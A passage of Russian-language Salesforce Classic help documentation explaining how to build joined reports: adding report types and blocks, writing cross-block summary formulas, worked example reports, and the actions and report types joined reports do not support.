3. Выберите значение «Имя организации» в поле «Исходный столбец».

4. Введите критерий «Ключевой» в поле «Имя поля области».

5. Щелкните «Создать область» и введите имя области «IBM».

6. Щелкните «Создать область» и введите имя области «Dell».

7. Щелкните «Создать область» и введите имя области «HP».

8. Чтобы просмотреть доступные значения, оставьте поле «Поиск значений...»
незаполненным и нажмите кнопку «Поиск».

9. Выберите нужные значения и перетащите их в соответствующие области.

10. Установите флажок «Показывать значения вне области как "Другое"».

11. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Редактирование поля текстовой области

Объединение разных типов данных в составном отчете

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Составной формат отчета позволяет просматривать разные типы сведений в одном
отчете. Составной отчет может содержать данные из разных типов стандартных или
настраиваемых отчетов.

Чтобы начать работу с составными отчетами, создайте новый или измените текущий
отчет в конструктореотчетов, щелкнитераскрывающийсясписок «Формат»ивыберите
пункт «Составной».

Составные отчеты поддерживают практически все те же действия, что сводные или
матричные отчеты. Например, пользователь может находить, добавлять, удалять и
резюмировать поля, а также выполнять и сохранять отчеты.

Совет: При необходимости воспользуйтесь составным отчетом, содержащим
диаграмму панели мониторинга. Измените компонент составного отчета и
установитефлажок «Использоватьдиаграмму, указаннуювисходномотчете».

1. Добавление типа отчета в составной отчет
Благодаря добавлению типа отчета, пользователь может расширить набор данных,
доступных для анализа в составном отчете.
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2. Изменение основного типа отчета
Основной тип отчета определяет порядок наименования общих полей. Составной отчет должен иметь основной
тип отчета. При необходимости основной тип отчета может быть изменен.

3. Создание настраиваемойформулы резюмирования для составного отчета
Пользователи могут добавлять стандартные или кросс-блоковые настраиваемые формулы резюмирования для
составныхотчетов, которыепозволяютрассчитыватьдополнительныеитоговые значениянаосновечисловыхполей,
доступных в отчете.

4. Работа с блоками
Блоки позволяют создавать разные представления данных, доступных в составном отчете.

5. Алгоритм работы составных отчетов
Составной отчет может содержать данные из разных типов стандартных или настраиваемых отчетов. Типы отчетов
могутбытьдобавленыв составнойотчет толькоприналичиивзаимосвязейс темижеобъектами. Например, составной
отчет, использующийтипотчета «Возможности», может быть дополнен типомотчета «Обращения», так как оба типа
взаимосвязаны с объектом «Организации».

СМ. ТАКЖЕ:

Создание отчета

Алгоритм работы составных отчетов

Добавление типа отчета в составной отчет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Благодаря добавлению типа отчета, пользователь может расширить набор данных,
доступных для анализа в составном отчете.

1. Выберите пункт «Составной» в менюформата отчета.

2. Щелкните «Добавить тип отчета».

Приэтомотображаетсяобластьналожения «Добавитьдополнительныйтипотчета»,
содержащая типы отчетов, которые могут быть добавлены в текущий отчет.

3. Выберите тип отчета.

При этом отображается сообщение, которое определяет общие объекты для
выбранного типа отчета и типов, которые уже добавлены в отчет.

4. Нажмите кнопку «OK».

Дополнительный тип отчета добавляется в отчет. Обратите внимание:

• Отчет дополняется новым блоком.

• Панель «Поля» дополняется новой областью, которая содержит поля, являющиеся
уникальными для типа отчета. Поля, общие для всех типов отчетов, отображаются
в области «Общие поля».

СМ. ТАКЖЕ:

Создание настраиваемойформулы резюмирования для составного отчета

Алгоритм работы составных отчетов

Объединение разных типов данных в составном отчете
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Изменение основного типа отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Основнойтипотчетаопределяетпорядокнаименованияобщихполей. Составнойотчет
должен иметь основной тип отчета. При необходимости основной тип отчета может
быть изменен.

По умолчанию основным типом отчета считается первый тип, добавленный в отчет.

Основной тип отчета не влияет на данные, доступные для составления отчетов.

Чтобы изменить основной тип отчета, удалите его блоки. Чтобы удалить блок,
перетащите его на панель «Поля». При наличии нескольких блоков, использующих
основной тип отчета, рекомендуем удалить все эти блоки.

После удаленияосновного типаотчета способвыборанового типаотчетаопределяется
количеством типов, доступных в отчете.

• Еслиотчет содержиттолькодва типа, тодругойтипотчета автоматическистановится
основным.

• Если отчет содержит более двух типов, то отображается диалоговое окно выбора
основного типа отчета.

СМ. ТАКЖЕ:

Добавление блока в составной отчет

Добавление типа отчета в составной отчет

Какие действия не поддерживаются составными отчетами?

Объединение разных типов данных в составном отчете

Создание настраиваемой формулы резюмирования для составного отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Пользователимогутдобавлятьстандартныеиликросс-блоковыенастраиваемыеформулы
резюмирования для составных отчетов, которые позволяют рассчитывать
дополнительные итоговые значения на основе числовых полей, доступных в отчете.

1. Чтобы открыть область наложения «Добавитьформулу резюмирования» на панели
«Поля», воспользуйтесь одним из указанных ниже параметров.

ОписаниеПараметр

Выберите категорию типа отчета и
дваждыщелкните ссылку «Добавить
формулу».

Создание стандартной формулы
настраиваемого резюмирования

Выберите категорию «Общие» идважды
щелкните «Добавитьформулу
кросс-блока».

Создание кросс-блоковой формулы
настраиваемого резюмирования

2. Введитеимяформулы, котороедолжноотображаться вотчете, ипринеобходимости
введите описание.

Имя должно быть уникальным.
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3. Исходя из результата вычисления, выберите соответствующий тип данных для формулы в раскрывающемся списке
«Формат».

4. Исходя из выбранного типа данных, выберите количество знаков после запятой в раскрывающемся списке «Знаки
после запятой». Данныйпараметрпропускаетсядляполейвалютыворганизациях, поддерживающихиспользование
нескольких валют. Взамен, применяется параметр валюты «Знаки после запятой».

5. Установите нужный переключатель в разделе «Место отображения данной формулы».

Вычисленное значение отображается в блоке отчета на уровне общего итога или глобальной группировки, в
зависимости от выбора пользователя. Чтобы показывать расчет для формулы на каждом уровне, включая уровень
общегоитога, установитепереключатель «Все уровни резюмирования».Принеобходимостивыберитеотображение
расчетов на уровне глобальной группировки. Составной отчет может содержать три глобальных группировки.
Группировки применяются ко всем блокам.

6. Чтобы создать формулу, выполните указанные ниже действия.

a. Выберите поле в раскрывающемся списке «Поля резюмирования». Значение данного поля используется в
формуле.

При создании формулы кросс-блока поля группируются по блоку. Чтобы найти нужное поле, воспользуйтесь
функцией быстрого поиска.

При созданииформулы для отдельного типа отчета список содержит числовые поля, доступные для типа отчета.

b. Выберите нужный тип резюмирования. Данный параметр недоступен для поля «Количество записей».

ОписаниеТип резюмирования

Итоговое значение данных в поле или группировке
полей.

Сумма

Максимальноезначениеданныхвполеилигруппировке
полей.

Наибольшее значение

Минимальноезначениеданныхвполеилигруппировке
полей.

Наименьшее значение

Среднее значение данных в поле или группировке
полей.

Среднее значение

c. Чтобы добавить операторы в формулу, нажмите кнопку «Операторы».

d. Выберите категориюфункций («Все», «Логические», «Математические» или «Сводные»), затем выберите нужную
функцию и нажмите кнопку «Вставить».

e. При необходимости повторите эти действия.

7. Чтобы проверить формулу на наличие ошибок, нажмите кнопку «Проверка синтаксиса». Ошибки выделяются
курсором.
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8. Нажмите кнопку «OK». Формула будет сохранена только после сохранения отчета.

СМ. ТАКЖЕ:

Работа с формулами в отчетах

Настраиваемые формулы резюмирования с составными отчетами

Эффективное использование настраиваемых формул резюмирования

Примеры составных отчетов

Работа с блоками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Блокипозволяютсоздаватьразныепредставленияданных, доступныхвсоставномотчете.

1. Добавление блока в составной отчет
Благодаря добавлению блоков в составные отчеты, пользователи могут создавать
различные представления данных, добавленных в отдельный отчет.

2. Изменение порядка отображения блоков
Составныеотчетыподдерживаютизменениепорядкаотображенияблоков. Изменение
порядка отображения блоков влияет на внешний вид отчета, но не влияет на его
данные.

3. Переименование блока
При необходимости блоки могут быть переименованы с целью предоставления
более доступного описания их содержимого.

4. Отображение и скрытие количества записей для блока
Конструктор отчетов позволяет отображать или скрывать количество записей для
каждого блока составного отчета. По умолчаниюколичество записей отображается
для каждого блока в конструкторе отчетов и на странице запуска отчетов.

5. Удаление блока
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Добавление блока в составной отчет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Благодаря добавлению блоков в составные отчеты, пользователи могут создавать
различные представления данных, добавленных в отдельный отчет.

1. Выберите нужное поле на панели «Поля» и перетащите его в пустую область на
панели «Предварительный просмотр».

2. Чтобы создать блок, отпустите поле.

4107

ОтчетыAnalytics



Обратите внимание, что после добавления блока панель «Поля» (1) дополняется соответствующими стандартными
фильтрами и фильтрами поля. А панель «Предварительный просмотр» дополняется новым блоком (2).

Чтобы удалить блок, щелкните значок в заголовке блока и выберите значение «Удалить блок». При необходимости
перетащите блок на панель «Поля».

Ниже перечислены рекомендации по работе с блоками.

• Добавление нового типа отчета в составной отчет приводит к добавлению нового блока.

• При создании блока поле должно быть выбрано в категории типа отчета. Поле не должно относиться к категории
«Общие». Например, если отчет содержит типы отчетов «Возможности» и «Обращения», то при выборе поля в
категории «Возможности» добавляется новый блок «Возможности», а при выборе поля в категории «Обращения»
добавляется новый блок «Обращения».

СМ. ТАКЖЕ:

Добавление типа отчета в составной отчет

Удаление блока

Создание настраиваемойформулы резюмирования для составного отчета

Работа с блоками

Объединение разных типов данных в составном отчете
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Изменение порядка отображения блоков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Составные отчеты поддерживают изменение порядка отображения блоков. Изменение
порядка отображенияблоков влияетна внешнийвидотчета, ноне влияетна его данные.

В случае изменения порядка отображения блоков их номера не меняются. Например,
если пользователь перемещает блок 1 вправо от блока 3 в отчете, содержащем 3 блока,
то блоки отображаются в следующем порядке: блок 2, блок 3, блок 1. Во избежание
возможной путаницы, рекомендуем переименовать блоки.

Приизменениипорядкаотображенияблокиперемещаютсявправоиливлевооттекущего
блока. Блокинемогутбытьперемещенывпустыеобластинапанели «Предварительный
просмотр».

Чтобы изменить порядок отображения блоков, выполните указанные ниже действия.

• Перетащите нужный блок влево или вправо от текущего блока на панели
«Предварительный просмотр».

Синяя полоса напротив блока указывает на допустимые зоны сброса.

СМ. ТАКЖЕ:

Переименование блока

Работа с блоками

Переименование блока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

При необходимости блоки могут быть переименованы с целью предоставления более
доступного описания их содержимого.

Имяблока, добавленногов составнойотчет, автоматическиосновываетсяна типеотчета
иколичествеблоковвотчете. Например, пользовательдобавляетновыйблок, основанный
на типе отчета «Возможности», в отчет, содержащий два блока. В этом случае имя блока
выглядит следующим образом: «Возможности блок 3».

1. Щелкните имя нужного блока.
При этом имя отображается в редактируемом текстовом поле.
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2. Введите новое имя.

3. Чтобы сохранить имя, нажмите клавишу Enter илищелкните за пределами блока.

СМ. ТАКЖЕ:

Работа с блоками

Объединение разных типов данных в составном отчете

Отображение и скрытие количества записей для блока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Конструктор отчетов позволяет отображать или скрывать количество записей для каждого
блока составного отчета. Поумолчаниюколичество записей отображается для каждого
блока в конструкторе отчетов и на странице запуска отчетов.

Чтобыскрытьилиотобразить количество записей, воспользуйтесьоднимиз указанных
ниже способов.

• Чтобы открыть меню блока, щелкните стрелку в заголовке нужного блока (  ) ).
Флажок, расположенныйнапротивэлементаменю«Количествозаписей», указывает,
что блок поддерживает функцию подсчета записей. Чтобы отобразить или скрыть
количество, установите или снимите флажок «Количество записей».

• Чтобы отобразить стрелку ( ) в том случае, если сведения об отчете скрыты,
наведите указатель мыши на столбец «Количество записей». ). Щелкните стрелку и
выберитеэлементменю«Удалитьстолбец». Чтобыповторноотобразитьколичество
записей, щелкнитестрелку в заголовкеблокаивыберите элементменю «Количество
записей».

Прим.: Если блоки отчета не содержат резюмированных строк, а сведения об
отчетеиколичествострокдля всехблоковнеотображаются, тоблокибудут скрыты
на странице запускаотчетов. Чтобыотобразитьблоки, нажмитекнопку «Показать
сведения» на странице запуска отчетов или в конструкторе отчетов.

СМ. ТАКЖЕ:

Отображение и скрытие сведений об отчете

Использование функции резюмирования в настраиваемойформуле резюмирования
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Удаление блока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобыудалитьблокиз составногоотчета, выполнитеодноизуказанныхнижедействий.

• Чтобы открыть меню блока, щелкните стрелку в заголовке нужного блока ( ) и
выберите элемент меню «Удалить блок».

• Выберите нужный блок и перетащите его на панель «Поля».

СМ. ТАКЖЕ:

Работа с блоками

Объединение разных типов данных в составном отчете

Алгоритм работы составных отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Составной отчет может содержать данные из разных типов стандартных или
настраиваемых отчетов. Типы отчетов могут быть добавлены в составной отчет только
при наличии взаимосвязей с теми же объектами. Например, составной отчет,
использующий тип отчета «Возможности», может быть дополнен типом отчета
«Обращения», так как оба типа взаимосвязаны с объектом «Организации».

Составной отчет может содержать не более пяти блоков, которые добавляются в отчет с
целью создания разных представлений данных. Каждый блок позволяет добавлять
обычныеполяиполярезюмирования, создавать стандартныеинастраиваемыеформулы
резюмированиякросс-блока, применятьфильтрыисортировать столбцы. Группировки
могут применяться ко всем блокам отчета; каждый блок может содержать не более трех
группировок, подобно сводному отчету. Кроме того, составные отчеты поддерживают
добавление диаграмм.

Каждыйсоставнойотчетиспользует основнойтипотчета. Поумолчаниюосновнымтипомотчетасчитаетсятип, добавленный
в отчет первым. На панели «Поля» напротив имени основного типа отчета отображается маленькая точка.Например,
если составной отчет создается путем выбора типа отчета «Возможности», а затем добавляется тип «Обращения», то тип
отчета «Возможности» считается основным.

Основной тип отчета определяет порядок наименования общих полей. Некоторые общие поля имеют разные имена
или отображаются в разных разделах разных типов отчетов. Чтобы просмотреть имя поля в других типах отчетов,
щелкните значок .

Если составной отчет содержит несколько типов отчетов, то некоторые поля называются общими. Общее поле — это
поле, доступное во всех типахотчетов, илиполе со взаимосвязьюпоиска, которая доступна во всех типахотчетов. Данные
поляотображаютсявобласти «Общиеполя» напанели «Поля» имогутиспользоватьсядля группированияблоковотчета.
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1. Примеры составных отчетов
Составные отчетыпозволяют создавать оценочные листы эффективности торговыхпредставителей, просматривать
обращения в службу поддержки по статусу и прогнозировать ожидаемые продажи возможности.

2. Настраиваемые формулы резюмирования с составными отчетами
Составные отчеты поддерживают два типа настраиваемых формул резюмирования: стандартные и кросс-блоковые.

3. Какие действия не поддерживаются составными отчетами?

Составные отчеты поддерживают практически все те же действия, что сводные или матричные отчеты (например,
поиск, добавление, удаление и резюмирование полей, а также выполнение и сохранение отчетов). Тем не менее,
некоторые действия не поддерживаются.

СМ. ТАКЖЕ:

Добавление типа отчета в составной отчет

Создание настраиваемойформулы резюмирования для составного отчета

Работа с блоками

Примеры составных отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Составные отчеты позволяют создавать оценочные листы эффективности торговых
представителей, просматривать обращения в службу поддержки по статусу и
прогнозировать ожидаемые продажи возможности.

Создание оценочного листа эффективности торговыхпредставителей

Благодаря оценочным листам, рабочая группа по управлению продажами может
определитьэффективностьторговыхпредставителейипросмотретьихдействия. Чтобы
создать оценочный лист, воспользуйтесь тремя отдельными типами настраиваемых
отчетов, каждый из которых создает взаимосвязь между объектом «Пользователь» (в
качестве основного объекта) и одним из трех следующих объектов: «Ответственный за
возможность», «Авторвозможности» и «Ответственныйзадействие». Обратитевнимание,
чтовданномпримере типынастраиваемыхотчетовназываются «Настраиваемый отчет
"Пользователь и ответственный за возможность"», «Настраиваемый отчет
"Пользователь и автор возможности"» и «Настраиваемый отчет "Пользователь и
ответственный за действие"».

Создайте настраиваемый отчет на основе типа «Пользователь и ответственный за возможность», а затем добавьте типы
«Пользователь и автор возможности» и «Пользователь и ответственный за действие» в качестве двух дополнительных
блоков. Затем сгруппируйте записи по торговому представителю (ответственный за возможность) и настройте
соответствующиефильтры.

Чтобы создать отчет, выполните указанные ниже действия.

1. Создайте отчет и выберите тип отчета «Настраиваемый отчет "Пользователь и ответственный за возможность"».

2. Выберите пункт «Составной» в раскрывающемся списке «Формат».

3. Нажмите кнопку «Добавить тип отчета».

4. Выберите тип отчета «Настраиваемый отчет "Пользователь и автор возможности"».

5. Нажмите кнопку «Добавить тип отчета» еще раз и выберите тип отчета «Настраиваемый отчет "Пользователь и
ответственный за действие"».
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6. Сгруппируйте блоки по полю «Полное имя».

7. Принеобходимостидобавьтедополнительныеполяифильтрывотчет. Например, чтобыпросмотретьэффективность
представителя за определенныйпромежуток времени, изменитефильтрыдаты. Чтобыпросмотреть только торговых
представителей, являющихсяответственнымизавозможности, создайтефильтр «Роль: имя» иограничьтерезультаты
пользователями, роли которых содержат слово «Продажи».

8. При необходимости введите имена блоков.

9. Нажмите кнопку «Сохранить» или «Запустить отчет».

Просмотробращенийв службуподдержкипо статусу

Пользователь может создать отчет, сравнивающий количество новых, закрытых или текущих обращений в службу
поддержки по приоритету. Отчет содержит один тип стандартного отчета: «Обращения». Прежде всего, создайте отчет,
добавьте в него три блока, отфильтруйте каждый блок по соответствующему статуса и сгруппируйте записи по полю
«Приоритет».

Чтобы создать отчет, выполните указанные ниже действия.

1. Создайте отчет и выберите тип отчета «Обращения».

2. Выберите пункт «Составной» в раскрывающемся списке «Формат».

3. Чтобы удалить ненужные поля, перетащите их на панель «Поля».

4. Создайте триблока, каждыйиз которых содержитполя «Номер обращения» и «Статус» ипринеобходимостиполе
«Сотрудник, ответственный за обращение».

5. Выполните фильтрацию всех обращений в каждом блоке. Затем выполните фильтрацию каждого блока по полю
«Статус».

• Блок 1: «"Статус" равно "Закрыто"»

• Блок 2: «"Статус" равно "Новинка"»

• Блок 3: «"Статус" не равно "Закрыто", "Новинка", "Закрыто на портале", "Закрыто — первый вызов"»

6. Сгруппируйте блоки по полю «Приоритет».

7. При необходимости переименуйте блоки.

8. Нажмите кнопку «Сохранить» или «Запустить отчет».

Прогнозированиеожидаемыхпродажвозможности

Настраиваемые формулы резюмирования кросс-блока позволяют создать отчет, который может использоваться для
прогнозирования ожидаемых доходов возможности на основе показателей эффективности торговых представителей.
Создайте отчет на основе стандартного типа отчета «Возможности», добавьте в него три блока, отфильтруйте каждый
блок по соответствующему статусу и создайте формулу, использующую поля из разных блоков.

Чтобы создать отчет, выполните указанные ниже действия.

1. Создайте составной отчет и выберите тип отчета «Возможности».

2. Чтобы удалить ненужные поля, перетащите их на панель «Поля».

3. Создайте три блока, каждый из которых содержит поля «Имя возможности», «Имя организации» и «Стоимость».

4. Выберите «Все возможности» для каждого блока. Выполните фильтрацию каждого блока.
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ФильтрыБлок

«"Статус возможности" равно "Закрыто"»

«"Поле даты" равно "Дата закрытия"»

Блок 1

«"Диапазон" равно "Текущий и предыдущий фин. годы"»

«"Этап" равно "Закрыто и не реализовано"»

«"Статус возможности" равно "Закрыто и реализовано"»

«"Поле даты" равно "Дата закрытия"»

Блок 2

«"Диапазон" равно "Текущий и предыдущий фин. годы"»

«"Поле даты" равно "Дата закрытия"»

«"Диапазон" равно "Следующий месяц"»

Блок 3

«"Статус возможности" равно "Открыто"»

5. Сгруппируйте блоки по полю «Сотрудник, ответственный за возможность».

6. Переименуйте блоки. Например, «Закрыто—реализовано», «Закрыто—не реализовано» и «Закрытие в следующем
месяце».

7. Создайте настраиваемуюформулу резюмирования кросс-блока, прогнозирующую ожидаемый доход на основе
показателей эффективности торговых представителей.

[Closing Next Month]AMOUNT:SUM*([Closed - Won]RowCount/([Closed -
Lost]RowCount+[Closed - Won]RowCount))

8. Добавьте формулу как минимум в один блок.

9. При необходимости добавьте настраиваемуюформулу резюмирования кросс-блока, которая позволяет вычислить
пропорциональное соотношение для каждого торгового представителя.

[Closed - Won]RowCount/([Closed - Lost]RowCount+[Closed - Won]RowCount)

10. Нажмите кнопку «Сохранить» или «Запустить отчет».

Добавление диаграммывотчетпопрогнозаможидаемыхпродажвозможности

Чтобывоспользоватьсявизуальнымпредставлениемданных, добавьтедиаграммув составнойотчет. Например, диаграмма
может быть добавлена в отчет по прогнозам ожидаемых продаж возможности, позволяющий просмотреть
пропорциональное соотношение фактического и прогнозируемого дохода.

Чтобы добавить диаграмму, выполните указанные ниже действия.

1. Создайте отчет «Прогнозирование ожидаемых продаж возможности».

2. Нажмите кнопку «Добавить диаграмму».

3. Выберите «Закрыто и реализовано — Сумма Стоимость» по оси Y.

4. Установите флажок «Добавить дополнительные значения».

5. Выберите значения «Строка» дляпараметра «Отображение» и «Прогнозируемый доход» дляпараметра «Значение».
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6. Введите заголовок диаграммы «Фактический и прогнозируемый доход» на вкладке «Форматирование».

7. Нажмите кнопку «OK».

8. Нажмите кнопку «Сохранить» или «Запустить отчет».

СМ. ТАКЖЕ:

Добавление диаграммы в отчет

Настраиваемые формулы резюмирования с составными отчетами

Алгоритм работы составных отчетов

Работа с блоками

Объединение разных типов данных в составном отчете

Настраиваемые формулы резюмирования с составными отчетами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Составные отчеты поддерживают два типа настраиваемых формул резюмирования:
стандартные и кросс-блоковые.

Стандартныеформулынастраиваемогорезюмирования

Стандартные формулы настраиваемого резюмирования применяются к одному типу
отчетаимогутбытьдобавленывблоки, созданныетольконаосноведанноготипаотчета.
Например, формула резюмирования, созданная для типа отчета «Обращения», может
бытьпримененатолькокблокам «Обращения». Настраиваемыеформулырезюмирования
в составных отчетах поддерживают такие же форматы данных, параметрыформулы,
функции и области отображения вычислений, как сводные и матричные отчеты.

Ниже перечислены рекомендации по работе с настраиваемымиформулами резюмирования в составных отчетах.

• Созданныеформулынедобавляютсявотчетыавтоматически. Чтобыдобавитьформулу, перетащитенужнуюформулу
в блок, использующий такой же тип отчета.

• Настраиваемыеформулырезюмирования, добавленныевблок, отображаются справаот стандартныхполейвпорядке
их добавления. Настраиваемыеформулы резюмирования кросс-блока, добавленные в блок, отображаются справа от
стандартных формул.

• Результатыприменениянастраиваемыхформулрезюмированияопределяютсяпараметрамифильтрации, заданными
для соответствующихблоков. Такимобразом, одна и тажеформула может иметь разные результаты в разных блоках.

• Каждый блок составного отчета может содержать не более 10 настраиваемых формул резюмирования. Составной
отчет может содержать не более 50 настраиваемых формул резюмирования.

• Каждая настраиваемаяформула резюмирования должна использовать уникальное имя. Тем не менее, стандартные и
кросс-блоковые формулы настраиваемого резюмирования могут использовать одинаковые имена.

• Имя настраиваемойформулы резюмирования не должно содержать квадратных скобок ( «[» или «]»).

Настраиваемыеформулырезюмированиякросс-блока

Настраиваемые формулы резюмирования кросс-блока позволяют вычислять значения в нескольких блоках составного
отчета.Например, формула кросс-блока может использоваться для вычисления пропорционального соотношения
открытыхизакрытыхвозможностейорганизацииилипропорциональногосоотношениязакрытыхсделокиконтрольных
показателей продаж.
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Формула кросс-блока создается так же, как стандартные формулы. Пользователям доступны такие же форматы данных,
параметрыформулы, функциииобластиотображениявычислений. Синтаксисформулытакжеаналогиченстандартному,
за исключением добавления сведений о блоке. Например, при вычислении процентного соотношения возможностей
и обращений для каждой организации, формула также включает заголовок блока: [Возможности блок 1]RowCount

/ [Обращения блок 2]RowCount. Помните, что при проверке синтаксиса формулы или при сохраненииформулы
пропущенный заголовок блока становится причиной отображения сообщения об ошибке.

Ниже перечислены рекомендации по работе с настраиваемымиформулами резюмирования кросс-блока.

• Формула кросс-блока может быть добавлена в любой блок отчета.

• Созданные формулы кросс-блока не добавляются в отчеты автоматически. Чтобы добавить формулу, перетащите
нужнуюформулу в блок.

• Формулы кросс-блока, добавленные в блок, отображаются справа от стандартных формул в порядке их добавления.

• Результатыпримененияформулкросс-блокаопределяютсяпараметрамифильтрации, заданнымидляблоковотчета.
Таким образом, при изменении параметров фильтрацииформула кросс-блока может иметь разные результаты.

• Каждый составной отчет может содержать не более 10 настраиваемых формул резюмирования кросс-блока.

• Удаление блока, используемого вформуле кросс-блока, приводит к удалениюформулы с панели «Поля» ииз любых
оставшихся блоков, содержащих даннуюформулу.

• Каждая формула кросс-блока должна использовать уникальное имя. Тем не менее, стандартные и кросс-блоковые
формулы настраиваемого резюмирования могут использовать одинаковые имена.

• Имя формулы кросс-блока не должно содержать квадратных скобок ( «[» или «]»).

СМ. ТАКЖЕ:

Создание настраиваемойформулы резюмирования

Эффективное использование настраиваемых формул резюмирования

Примеры составных отчетов

Создание настраиваемойформулы резюмирования для составного отчета

Какие действия не поддерживаются составными отчетами?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Составные отчеты поддерживают практически все те же действия, что сводные или
матричные отчеты (например, поиск, добавление, удаление и резюмирование полей, а
также выполнение и сохранение отчетов). Тем не менее, некоторые действия не
поддерживаются.

Ниже перечислены некоторые действия, которые не поддерживаются составными
отчетами.

• Добавление полей области.

• Добавление кросс-фильтров.

• Перетаскивание фильтров с панели «Поля» на панель «Фильтры».

• Применение условного выделения.

• Изменение иерархии для отчетов по возможностям или действиям.

• Создание отчетных снимков на основе составных отчетов.
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Прим.:

• Чтобы предоставить пользователям возможность создания и редактирования составных отчетов, рекомендуем
включить поддержку конструктора отчетов для всей организации. В противном случае пользователи могут
запускать составные отчеты, но не могут их создавать.

• Составные отчеты требуют включения новой темы пользовательского интерфейса. В противном случае
пользователи не могут создавать, редактировать и запускать составные отчеты.

• Обозреватель Internet Explorer 6 не поддерживает составные отчеты.

• Фильтрыне применяются к данным составного отчета в представлениипанелимониторинга илинемогут быть
добавлены в панель мониторинга, использующую только составные отчеты.

Типыстандартныхотчетов, которыенемогутиспользоваться в составныхотчетах.

• Организации и контакты

– Журнал организации

– Ответственные за организацию*

– Журнал контакта

• Действия

– Мои делегированные запросы на утверждение*

• Административные отчеты

– Все отложенные запросы на утверждение*

– Использование API за последнюю неделю*

• Кампания

– Запрос сведений по кампании*

– Участник кампании

– Анализ участника кампании*

– Кампании с находящимися под влиянием возможностями

• Контракт

– Журнал контракта

– Журнал заказов

• Служба поддержки

– Журнал обращения

– Использование портала самообслуживания

– Журнал решения

• Файл и содержимое

– Авторы содержимого

– Временной интервал публикации содержимого

– Загрузки файлов и содержимого

– Занятость файлов и содержимого

– Ссылки на файлы и содержимое
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– Администраторы библиотеки

– Содержимое библиотеки

– Популярные загрузки

– Популярные подписки

– Устаревшее содержимое

• Прогнозы

– Настраиваемое прогнозирование: история прогноза

– Настраиваемое прогнозирование: резюме прогноза

– Настраиваемое прогнозирование: прогнозы возможностей

– История прогноза

– Прогнозы

– План продаж и фактические доходы*

• Интерес

– Все интересы

– Журнал интереса

– Статус интереса*

• Возможность

– Возможности с ролями контакта и продуктами

– Возможности с группами, работающими с возможностями, и продуктами

– Журнал полей возможности

• Прайс-листы, продукты и активы

– Активы с продуктами*

Прим.:

• Некоторыетипыотчетов, перечисленныениже, могутбытьнедоступны. Списокдоступныхотчетовопределяется
рядом факторов (например, включенные функции и настроенные параметры доступности папки отчетов).
Чтобы просмотреть недоступные типы отчетов, обратитесь к администратору.

• В случае переименования стандартных объектов, типы стандартных отчетов используют новые, а не исходные
имена. Например, при переименовании объекта «Возможность» в «Сделка» тип стандартного отчета «Журнал
поля возможности» называется «Журнал поля сделки».

• Типыотчетов, помеченныезвездочкой (*) вданномсписке, недоступныприсозданииотчетов. Чтобыпросмотреть
